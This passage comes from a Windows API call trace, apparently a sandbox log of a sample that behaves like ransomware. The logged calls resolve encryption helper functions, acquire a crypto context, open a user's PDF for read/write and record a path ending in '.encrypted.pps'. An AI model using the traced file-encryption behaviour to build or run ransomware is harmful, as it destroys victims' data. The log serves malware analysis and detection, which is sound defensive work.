lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.369] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.370] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.370] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.371] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.371] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.371] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.372] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.372] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0024.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0024.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=3322) returned 1 [0024.372] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.373] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0024.373] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0024.373] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xcfa, lpOverlapped=0x0) returned 1 [0024.373] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.373] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xcfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.373] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3322) returned 1 [0024.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\n", cchWideChar=93, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 93 [0024.373] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\n", cchWideChar=93, lpMultiByteStr=0xe8f4062b10, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\ACt2aRGtYlaHCFWx Ti2.encrypted.pps\r\n", lpUsedDefaultChar=0x0) returned 93 [0024.373] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x5c, lpOverlapped=0x0) returned 1 [0024.373] CloseHandle (hObject=0x1fc) returned 1 [0024.374] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.374] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.374] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.374] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.374] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.374] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.375] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.375] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.376] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.376] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.376] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.pdf", cchWideChar=81, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 81 [0024.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.pdf", cchWideChar=81, lpMultiByteStr=0xe8f4069a70, cbMultiByte=81, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.pdf", lpUsedDefaultChar=0x0) returned 81 [0024.376] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.pdf" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\gifhucqicytovjewuyw\\dpjxt01pyg1dsu8dgdrx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=81, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0024.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=81, lpWideCharStr=0xe8f416dee0, cchWideChar=81 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\gIFhUCqicYTOVJewuyW\\DpJxT01PYg1DSU8dGdRx.pdf") returned 81 [0024.377] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.377] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.378] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.378] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.378] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178a80, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.378] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.378] CloseHandle (hObject=0x1fc) returned 1 [0024.378] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.378] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.379] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.379] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.379] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.379] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.379] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.379] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.380] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.380] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.380] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.380] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.381] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.381] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.381] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.381] PeekMessageW (in: lpMsg=0xe8f3dfde30, 